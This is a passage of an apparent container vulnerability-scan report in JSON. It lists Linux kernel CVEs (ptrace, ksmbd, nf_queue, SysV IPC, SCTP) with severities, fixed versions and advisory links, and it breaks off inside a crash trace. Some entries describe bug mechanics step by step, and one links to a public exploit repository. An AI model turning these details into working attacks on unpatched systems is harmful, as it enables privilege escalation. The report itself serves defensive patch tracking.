by saying that if you don't have a\nMM pointer, we'll use a cached \"last dumpability\" flag if the thread\never had a MM (it will be zero for kernel threads since it is never\nset), and require a proper CAP_SYS_PTRACE capability to override.", "Severity": "HIGH", "CweIDs": [ "CWE-269" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 2, "bottlerocket": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "http://www.openwall.com/lists/oss-security/2026/05/15/9", "http://www.openwall.com/lists/oss-security/2026/05/20/14", "http://www.openwall.com/lists/oss-security/2026/05/20/16", "https://access.redhat.com/errata/RHSA-2026:19521", "https://access.redhat.com/errata/RHSA-2026:19540", "https://access.redhat.com/errata/RHSA-2026:19568", "https://access.redhat.com/errata/RHSA-2026:19569", "https://access.redhat.com/errata/RHSA-2026:19664", "https://access.redhat.com/errata/RHSA-2026:19666", "https://access.redhat.com/errata/RHSA-2026:19705", "https://access.redhat.com/errata/RHSA-2026:19711", "https://access.redhat.com/errata/RHSA-2026:19875", "https://access.redhat.com/errata/RHSA-2026:20051", "https://access.redhat.com/errata/RHSA-2026:20054", "https://access.redhat.com/errata/RHSA-2026:20129", "https://access.redhat.com/errata/RHSA-2026:20130", "https://access.redhat.com/errata/RHSA-2026:20299", "https://access.redhat.com/errata/RHSA-2026:20593", "https://access.redhat.com/errata/RHSA-2026:21701", "https://access.redhat.com/errata/RHSA-2026:21702", "https://access.redhat.com/errata/RHSA-2026:23468", "https://access.redhat.com/errata/RHSA-2026:23469", "https://access.redhat.com/errata/RHSA-2026:23470", "https://access.redhat.com/errata/RHSA-2026:23471", "https://access.redhat.com/errata/RHSA-2026:24814", "https://access.redhat.com/errata/RHSA-2026:33486", "https://access.redhat.com/security/cve/CVE-2026-46333", "https://blog.qualys.com/vulnerabilities-threat-research/2026/05/20/cve-2026-46333-local-root-privilege-escalation-and-credential-disclosure-in-the-linux-kernel-ptrace-path", "https://bugzilla.redhat.com/show_bug.cgi?id=2394648", "https://bugzilla.redhat.com/show_bug.cgi?id=2425046", "https://bugzilla.redhat.com/show_bug.cgi?id=2429602", "https://bugzilla.redhat.com/show_bug.cgi?id=2432389", "https://bugzilla.redhat.com/show_bug.cgi?id=2432400", "https://bugzilla.redhat.com/show_bug.cgi?id=2439852", "https://bugzilla.redhat.com/show_bug.cgi?id=2439931", "https://bugzilla.redhat.com/show_bug.cgi?id=2448745", "https://bugzilla.redhat.com/show_bug.cgi?id=2453803", "https://bugzilla.redhat.com/show_bug.cgi?id=2454844", "https://bugzilla.redhat.com/show_bug.cgi?id=2461107", "https://bugzilla.redhat.com/show_bug.cgi?id=2461521", "https://bugzilla.redhat.com/show_bug.cgi?id=2467059", "https://bugzilla.redhat.com/show_bug.cgi?id=2467144", "https://bugzilla.redhat.com/show_bug.cgi?id=2467771", "https://bugzilla.redhat.com/show_bug.cgi?id=2477015", "https://bugzilla.redhat.com/show_bug.cgi?id=2477802", "https://cdn2.qualys.com/advisory/2026/05/20/cve-2026-46333-ptrace.txt", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-39766", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-68741", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-71116", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22984", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-22990", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23270", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-23401", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31402", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31532", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31607", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43128", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43163", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43284", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46300", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46333", "https://errata.almalinux.org/9/ALSA-2026-A009.html", "https://errata.rockylinux.org/RLSA-2026:19568", "https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a", "https://git.kernel.org/stable/c/01363cb3fbd0238ffdeb09f53e9039c9edf8a730", "https://git.kernel.org/stable/c/15b828a46f305ae9f05a7c16914b3ce273474205", "https://git.kernel.org/stable/c/2a93a4fac7b6051d3be7cd1b015fe7320cd0404d", "https://git.kernel.org/stable/c/31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a", "https://git.kernel.org/stable/c/4709234fd1b95136ceb789f639b1e7ea5de1b181", "https://git.kernel.org/stable/c/6e5b51e74a40d377bcd3081dd33fbaa0e1aa7e3d", "https://git.kernel.org/stable/c/8f907d345bae8f4b3f004c5abc56bf2dfb851ea7", "https://git.kernel.org/stable/c/93d4ba49d18e3d7fb41a9927c2d0cca5e9dfefd6", "https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn", "https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn/", "https://github.com/bottlerocket-os/bottlerocket-kernel-kit/blob/develop/advisories/5.5.2/BRSA-9entvekbzfg2.toml", "https://github.com/torvalds/linux/commit/31e62c2ebbfdc3fe3dbdf5e02c92a9dc67087a3a", "https://linux.oracle.com/cve/CVE-2026-46333.html", "https://linux.oracle.com/errata/ELSA-2026-50372.html", "https://lists.debian.org/debian-lts-announce/2026/05/msg00032.html", "https://lists.debian.org/debian-lts-announce/2026/05/msg00035.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-46333", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-46333.json", "https://ubuntu.com/blog/ssh-keysign-pwn-linux-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8370-1", "https://ubuntu.com/security/notices/USN-8371-1", "https://ubuntu.com/security/notices/USN-8373-1", "https://ubuntu.com/security/notices/USN-8374-1", "https://ubuntu.com/security/notices/USN-8388-1", "https://ubuntu.com/security/notices/USN-8388-2", "https://ubuntu.com/security/notices/USN-8393-1", "https://ubuntu.com/security/notices/USN-8426-1", "https://ubuntu.com/security/notices/USN-8426-2", "https://ubuntu.com/security/notices/USN-8440-1", "https://ubuntu.com/security/notices/USN-8461-1", "https://ubuntu.com/security/notices/USN-8462-1", "https://ubuntu.com/security/notices/USN-8489-1", "https://ubuntu.com/security/notices/USN-8497-1", "https://ubuntu.com/security/notices/USN-8499-1", "https://ubuntu.com/security/notices/USN-8528-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://www.cve.org/CVERecord?id=CVE-2026-46333", "https://www.openwall.com/lists/oss-security/2026/05/15/2", "https://www.openwall.com/lists/oss-security/2026/05/15/8", "https://x.com/spendergrsec/status/2054974174926430322" ], "PublishedDate": "2026-05-15T14:16:35.793Z", "LastModifiedDate": "2026-10-15T02:19:54.77Z" }, { "VulnerabilityID": "CVE-2026-52911", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52911", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bf81de71fbd83a968a63d136944c6fe3aac6b604ade39bcabb0f4f7ffebb8020", "Title": "kernel: ksmbd: scope conn-\u003ebinding slowpath to bound sessions only", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nksmbd: scope conn-\u003ebinding slowpath to bound sessions only\n\nWhen the binding SESSION_SETUP sets conn-\u003ebinding = true, the flag stays\nset after the call so that the global session lookup in\nksmbd_session_lookup_all() can find the session, which was not added to\nconn-\u003esessions. Because the flag is connection-wide, the global lookup\npath will also resolve any other session by id if asked.\n\nTighten the global lookup so that the returned session must have this\nconnection registered in its channel xarray (sess-\u003eksmbd_chann_list).\nThe channel entry is installed by the existing binding_session path in\nntlm_authenticate()/krb5_authenticate() when a SESSION_SETUP completes\nsuccessfully, so this condition is a strict equivalent of \"this\nconnection has been accepted as a channel of this session\". Connections\nthat have not bound to a given session cannot reach it via the global\ntable.\n\nThe existing conn-\u003ebinding gate for entering the slowpath is preserved\nso that non-binding connections keep the fast-path-only behavior, and\nthe session-\u003estate check is unchanged.", "Severity": "HIGH", "VendorSeverity": { "photon": 3, "redhat": 3, "ubuntu": 3 }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-52911", "https://git.kernel.org/linus/b0da97c034b6107d14e537e212d4ce8b22109a58%20%287.1-rc1%29", "https://git.kernel.org/stable/c/1e2bec062c5c9ec282636715166056d0998d746d", "https://git.kernel.org/stable/c/1ff46c9915c1cbf454db58a8cb87f7cac818e6a6", "https://git.kernel.org/stable/c/2cc8a4db633b10715450b291c1343859a4b2c509", "https://git.kernel.org/stable/c/974c1c224e85549dc3459f3bb2255bbbdd2b9372", "https://git.kernel.org/stable/c/b0da97c034b6107d14e537e212d4ce8b22109a58", "https://git.kernel.org/stable/c/e3a93ce6e25757b8f375e38b8f91e1d9da4edc1a", "https://git.kernel.org/stable/c/e74c00c6af428a39e564cdc5bd3a3648c6d8de87", "https://lore.kernel.org/linux-cve-announce/2026062146-CVE-2026-52911-fab1@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52911", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-52911" ], "PublishedDate": "2026-06-21T08:16:23.607Z", "LastModifiedDate": "2026-07-08T15:13:12.627Z" }, { "VulnerabilityID": "CVE-2026-52912", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52912", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:411377df8418bd8e639ffcb7139c00b9ba75ab1c4393a08a8f1c386008304006", "Title": "kernel: netfilter: nf_queue: hold bridge skb-\u003edev while queued", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_queue: hold bridge skb-\u003edev while queued\n\nbr_pass_frame_up() rewrites skb-\u003edev from the ingress port to the bridge\nmaster before queueing bridge LOCAL_IN packets. NFQUEUE only holds\nreferences on state.in/out and bridge physdevs, so a queued bridge\npacket can retain a freed bridge master in skb-\u003edev until reinjection.\n\nWhen the verdict is reinjected later, br_netif_receive_skb() re-enters\nthe receive path with skb-\u003edev still pointing at the freed bridge master,\ntriggering a use-after-free.\n\nStore skb-\u003edev in the queue entry, hold a reference on it for the queue\nlifetime, and use the saved device when dropping queued packets during\nNETDEV_DOWN handling.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:71700", "https://access.redhat.com/security/cve/CVE-2026-52912", "https://bugzilla.redhat.com/2419883", "https://bugzilla.redhat.com/2461575", "https://bugzilla.redhat.com/2482533", "https://bugzilla.redhat.com/2482543", "https://bugzilla.redhat.com/2482649", "https://bugzilla.redhat.com/2486470", "https://bugzilla.redhat.com/2492105", "https://bugzilla.redhat.com/2492798", "https://bugzilla.redhat.com/2493739", "https://bugzilla.redhat.com/2502536", "https://bugzilla.redhat.com/2513233", "https://bugzilla.redhat.com/2513361", "https://bugzilla.redhat.com/2513372", "https://bugzilla.redhat.com/2513414", "https://bugzilla.redhat.com/2513429", "https://bugzilla.redhat.com/2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2419883", "https://bugzilla.redhat.com/show_bug.cgi?id=2461575", "https://bugzilla.redhat.com/show_bug.cgi?id=2482533", "https://bugzilla.redhat.com/show_bug.cgi?id=2482543", "https://bugzilla.redhat.com/show_bug.cgi?id=2482649", "https://bugzilla.redhat.com/show_bug.cgi?id=2486470", "https://bugzilla.redhat.com/show_bug.cgi?id=2492105", "https://bugzilla.redhat.com/show_bug.cgi?id=2492798", "https://bugzilla.redhat.com/show_bug.cgi?id=2493739", "https://bugzilla.redhat.com/show_bug.cgi?id=2502536", "https://bugzilla.redhat.com/show_bug.cgi?id=2513233", "https://bugzilla.redhat.com/show_bug.cgi?id=2513361", "https://bugzilla.redhat.com/show_bug.cgi?id=2513372", "https://bugzilla.redhat.com/show_bug.cgi?id=2513414", "https://bugzilla.redhat.com/show_bug.cgi?id=2513429", "https://bugzilla.redhat.com/show_bug.cgi?id=2513434", "https://bugzilla.redhat.com/show_bug.cgi?id=2525436", "https://cert-portal.siemens.com/productcert/html/ssa-019113.html", "https://cert-portal.siemens.com/productcert/html/ssa-457936.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-40323", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31539", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46199", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46204", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46230", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46311", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52912", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53203", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53290", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64098", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68108", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68121", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68257", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68266", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68267", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68273", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-80714", "https://errata.almalinux.org/9/ALSA-2026-71700.html", "https://errata.rockylinux.org/RLSA-2026:71700", "https://git.kernel.org/linus/e196115ec330a18de415bdb9f5071aa9f08e53ce%20%287.1-rc5%29", "https://git.kernel.org/stable/c/15d464265120ab9818bd673af301deee09bedab2", "https://git.kernel.org/stable/c/19924bdd8a45ebc72a7b84c57fd63057d1dc75ac", "https://git.kernel.org/stable/c/1e5e20031c5eee8d2e490a90ff4d6a2feecfc3be", "https://git.kernel.org/stable/c/3823c27099cfe2482299065814adbaa771be9644", "https://git.kernel.org/stable/c/3fb0f5c0f64162a8c3f25616a4f1e340b921737f", "https://git.kernel.org/stable/c/950d809f154dca04e5fbe5d3c8b9c5e44769cd57", "https://git.kernel.org/stable/c/a698ac8ab2561cf575d2d9f34095032651dd952e", "https://git.kernel.org/stable/c/e196115ec330a18de415bdb9f5071aa9f08e53ce", "https://linux.oracle.com/cve/CVE-2026-52912.html", "https://linux.oracle.com/errata/ELSA-2026-71700.html", "https://lore.kernel.org/linux-cve-announce/2026062426-CVE-2026-52912-9506@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52912", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8729-1", "https://ubuntu.com/security/notices/USN-8729-2", "https://ubuntu.com/security/notices/USN-8729-3", "https://ubuntu.com/security/notices/USN-8729-4", "https://ubuntu.com/security/notices/USN-8729-5", "https://ubuntu.com/security/notices/USN-8729-6", "https://ubuntu.com/security/notices/USN-8761-1", "https://ubuntu.com/security/notices/USN-8761-2", "https://ubuntu.com/security/notices/USN-8761-3", "https://ubuntu.com/security/notices/USN-8781-1", "https://ubuntu.com/security/notices/USN-8802-1", "https://ubuntu.com/security/notices/USN-8906-1", "https://www.cve.org/CVERecord?id=CVE-2026-52912" ], "PublishedDate": "2026-06-24T08:16:20.64Z", "LastModifiedDate": "2026-10-19T20:18:45.667Z" }, { "VulnerabilityID": "CVE-2026-52923", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52923", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:722cdc5e95fcc778f4eff3b07b8e0ab83a1a5d6baee04d859b15ca5fa92428d1", "Title": "kernel: ipc: limit next_id allocation to the valid ID range", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nipc: limit next_id allocation to the valid ID range\n\nThe checkpoint/restore sysctl path can request the next SysV IPC id\nthrough ids-\u003enext_id. ipc_idr_alloc() currently forwards that request to\nidr_alloc() with an open-ended upper bound.\n\nIf the valid tail of the SysV IPC id space is full, the allocation can\nspill beyond ipc_mni. The returned SysV IPC id still uses the normal\nindex encoding, so later lookup and removal can target the wrong slot. \nThis leaves the real IDR entry behind and breaks the IDR state for the\nobject.\n\nThe bug is in ipc_idr_alloc() in the checkpoint/restore path.\n\n1. ids-\u003enext_id is passed to:\n\n idr_alloc(\u0026ids-\u003eipcs_idr, new, ipcid_to_idx(next_id), 0, ...)\n\n2. The zero upper bound makes the allocation effectively open-ended.\n Once the valid SysV IPC tail is occupied, idr_alloc() can spill past\n ipc_mni and allocate an entry beyond the valid IPC id range.\n\n3. The new object id is still encoded with the narrower SysV IPC index\n width:\n\n new-\u003eid = (new-\u003eseq \u003c\u003c ipcmni_seq_shift()) + idx\n\n4. Later removal goes through ipc_rmid(), which uses:\n\n ipcid_to_idx(ipcp-\u003eid)\n\n That truncates the real IDR index. An object actually stored at a\n high index can then be removed as if it lived at a low in-range\n index.\n\n5. For shared memory, shm_destroy() frees the current object anyway, but\n the real high IDR slot is left behind as a dangling pointer.\n\n6. A subsequent walk of /proc/sysvipc/shm reaches the stale IDR entry\n and dereferences freed memory.\n\nPrevent this by bounding the requested allocation to ipc_mni so the\ncheckpoint/restore path fails once the valid range is exhausted.", "Severity": "HIGH", "CweIDs": [ "CWE-401", "CWE-20", "CWE-825" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:47248", "https://access.redhat.com/errata/RHSA-2026:48386", "https://access.redhat.com/errata/RHSA-2026:49031", "https://access.redhat.com/errata/RHSA-2026:49212", "https://access.redhat.com/errata/RHSA-2026:49851", "https://access.redhat.com/errata/RHSA-2026:49857", "https://access.redhat.com/errata/RHSA-2026:51603", "https://access.redhat.com/errata/RHSA-2026:51604", "https://access.redhat.com/errata/RHSA-2026:52649", "https://access.redhat.com/errata/RHSA-2026:52764", "https://access.redhat.com/errata/RHSA-2026:53330", "https://access.redhat.com/errata/RHSA-2026:61692", "https://access.redhat.com/errata/RHSA-2026:63189", "https://access.redhat.com/security/cve/CVE-2026-52923", "https://bugzilla.redhat.com/2492094", "https://bugzilla.redhat.com/2492437", "https://bugzilla.redhat.com/2504052", "https://bugzilla.redhat.com/2507345", "https://bugzilla.redhat.com/show_bug.cgi?id=2492094", "https://bugzilla.redhat.com/show_bug.cgi?id=2492437", "https://bugzilla.redhat.com/show_bug.cgi?id=2504052", "https://cert-portal.siemens.com/productcert/html/ssa-784472.html", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52923", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52993", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64530", "https://errata.almalinux.org/9/ALSA-2026-49212.html", "https://errata.rockylinux.org/RLSA-2026:49212", "https://git.kernel.org/linus/fa0b9b2b7ae3539908d69c2b9ac0d144d9bc5139%20%287.1-rc6%29", "https://git.kernel.org/stable/c/157ce2c6836ce0ff19108a819f38df061345425f", "https://git.kernel.org/stable/c/3bbe2bb9111ce6967a951bfac79af142d816fae5", "https://git.kernel.org/stable/c/41058d4c3f63ab64901560a704882e0565f4e456", "https://git.kernel.org/stable/c/8c58a92849175f5e2ab7bc2734b3b89afe79f6ef", "https://git.kernel.org/stable/c/a3cc795129e5ec0f8948653a3bf471e7d8852f5e", "https://git.kernel.org/stable/c/af24e202b543ded8a34f1d5d3db54eb916173f04", "https://git.kernel.org/stable/c/bd4be70669af55b974860d13680348cfdf50bbed", "https://git.kernel.org/stable/c/fa0b9b2b7ae3539908d69c2b9ac0d144d9bc5139", "https://linux.oracle.com/cve/CVE-2026-52923.html", "https://linux.oracle.com/errata/ELSA-2026-53330.html", "https://lore.kernel.org/linux-cve-announce/2026062431-CVE-2026-52923-35fb@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-52923", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-52923.json", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8876-1", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-52923" ], "PublishedDate": "2026-06-24T08:16:22.3Z", "LastModifiedDate": "2026-10-19T20:18:46.883Z" }, { "VulnerabilityID": "CVE-2026-52924", "VendorIDs": [ "DLA-4665-1" ], "PkgID": "linux-libc-dev@6.1.162-1", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.1.162-1?arch=amd64\u0026distro=debian-12.13", "UID": "e8cc2780a8743fe9" }, "InstalledVersion": "6.1.162-1", "FixedVersion": "6.1.176-1", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-52924", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:8e055b8f7012a8a37153c83bb1317f6c0439c0b385d8d2d7545c033cf8b88074", "Title": "kernel: sctp: purge outqueue on stale COOKIE-ECHO handling", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nsctp: purge outqueue on stale COOKIE-ECHO handling\n\nsctp_stream_update() is only invoked when the association is moved into\nCOOKIE_WAIT during association setup/reconfiguration. In this path, the\noutbound stream scheduler state (stream-\u003eout_curr) is expected to be\nclean, since no user data should have been transmitted yet unless the\nstate machine has already partially progressed.\n\nHowever, a corner case exists in sctp_sf_do_5_2_6_stale(): when a\nStale Cookie ERROR is received, the association is rolled back from\nCOOKIE_ECHOED to COOKIE_WAIT. In this scenario, user data may already\nhave been queued and even bundled with the COOKIE-ECHO chunk.\n\nDuring the rollback, sctp_stream_update() frees the old stream table\nand installs a new one, but it does not invalidate stream-\u003eout_curr.\nAs a result, out_curr may still point to a freed sctp_stream_out\nentry from the previous stream state.\n\nLater, SCTP scheduler dequeue paths (FCFS, RR, PRIO, etc.) rely on\nstream-\u003eout_curr-\u003eext, which can lead to use-after-free once the old\nstream state has been released via sctp_stream_free().\n\nThis results in crashes such as (reported by Yuqi):\n\n BUG: KASAN: slab-use-after-free in sctp_sched_fcfs_dequeue+0x13a/0x140\n Read of size 8 at addr ff1100004d4d3208 by task mini_poc/9312\n CPU: 1 UID: 1001 PID: 9312 Comm: mini_poc Not tainted\n 7.1.0-rc1-00305-gbd3a4795d574 #5 PREEMPT(full)\n sctp_sched_fcfs_dequeue+0x13a/0x140\n 